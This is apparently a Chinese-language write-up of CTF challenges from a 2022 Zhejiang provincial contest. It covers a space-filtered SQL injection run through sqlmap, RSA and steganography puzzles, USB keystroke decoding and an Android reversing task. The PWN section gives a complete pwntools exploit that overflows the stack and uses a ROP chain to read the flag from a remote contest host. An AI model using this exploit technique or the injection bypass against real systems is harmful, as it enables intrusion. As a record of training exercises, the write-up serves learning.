2022浙江省决
babysql:直接输入框按照常规思路进行注入,发现把空格给禁了,直接用sqlmap的space2comment模块跑
math:
1 | import gmpy2 |
rssssa5:
1 | n = 21595945409392994055049935446570173194131443801801845658035469673666023560594683551197545038999238700810747167248724184844583697034436158042499504967916978621608536213230969406811902366916932032050583747070735750876593573387957847683066895725722366706359818941065483471589153682177234707645138490589285500875222568286916243861325846262164331536570517513524474322519145470883352586121892275861245291051589531534179640139953079522307426687782419075644619898733819937782418589025945603603989100805716550707637938272890461563518245458692411433603442554397633470070254229240718705126327921819662662201896576503865953330533 |
checkin_gift:
binwalk文件能发现存在两个jpg文件,用010打开搜索jpg的文件头,发现base64,用cyberchef直接解出
m4a:
把m4a文件添加m4a后缀名,可得到摩斯密码音频文件,听了后解码可得到一段字符
BA43BCEFC204接着把附件放到010里,拉到最后可发现存在zip的压缩包倒置。
用脚本逆一下加上zip后缀得到压缩包
1 | with open('m4a','rb') as f: |
提示需要密码,输入之前获得的字符,得到txt文本。拿去cyberchef解码,得到flag
Unkn0wnData
Unkn0wnData:
图片尾存在base64,然后解码能得到where is key和一串表情,可推测是aes-emoji
然后图片lsb zsteg可得到一串zip的hex 和上面的base64
将zip放入winhex存储为压缩包,打开是流量的txt文件,用脚本解码可得
1.py
1 | f=open('key.txt','r') |
2.py
1 | normalKeys = { |
用以上两个脚本先后解码可得
可得密钥为Toggled
拿去aes-emoji解码
把以上的表情和密钥解码可得flag
DASCTF{ad15eecd2978bc5c70597d14985412c4}
PWN
GO-MAZE-v4
走完地图发现输出的是假flag,但是后门还是存在一个出入点,于是输入大量垃圾数据,发现程序崩溃,所以猜测存在栈溢出漏洞,然后静态分析,通过关键字符串可以定位到这里
这里其实给了提示,v14这个参数存在溢出,然后就是构造rop链打orw。
exp:
1 | from pwn import * from time import * context.log_level='debug' #p=process('./pwn') p=remote('1.14.97.218', 26200) elf=ELF('./pwn') poprax=0x400a4f syscall=0x4025ab poprdi=0x4008f6 poprsi=0x40416f poprdx=0x51d4b6 poprbx=0x402498 popdxsi=0x51d559 buf=0x98a000 leave=0x4015cb rop=b'' rop=p64(poprdi)+p64(0)+p64(popdxsi)+p64(0x100)+p64(buf+0x300)+p64(syscall)+p64(leave) payload=p64(0)+p64(poprax)+p64(2)+p64(poprdi)+p64(elf.search(b'flag').__next__())+p64(poprsi)+p64(0)+p64(syscall) payload+=p64(poprax)+p64(0)+p64(poprdi)+p64(3)+p64(poprsi)+p64(buf)+p64(poprdx)+p64(0x100)+p64(syscall) payload+=p64(poprax)+p64(1)+p64(poprdi)+p64(1)+p64(poprsi)+p64(buf)+p64(poprdx)+p64(0x100)+p64(syscall) def maps(): p.sendline(b's') p.sendline(b's') p.sendline(b's') p.sendline(b's') p.sendline(b'd') p.sendline(b'd') p.sendline(b'd') p.sendline(b'w') p.sendline(b'w') p.sendline(b'w') p.sendline(b'd') p.sendline(b'd') p.sendline(b'd') p.sendline(b'w') p.sendline(b'd') p.sendline(b'w') p.sendline(b'w') def pwn(): p.recvuntil('flag') p.sendline(b'a'*0x178+p64(buf+0x300)+rop) p.send(payload) maps() pwn() p.interactive() |
RE
ezandroid
逆向后mainactivity如下图所示
可以看到账号密码输入成功后进入afterlog
afterlog如下图所示
2
就放了一个视图,然后进入这个视图
可以看到背景是一张图片,最后加压缩出图片可以看到flag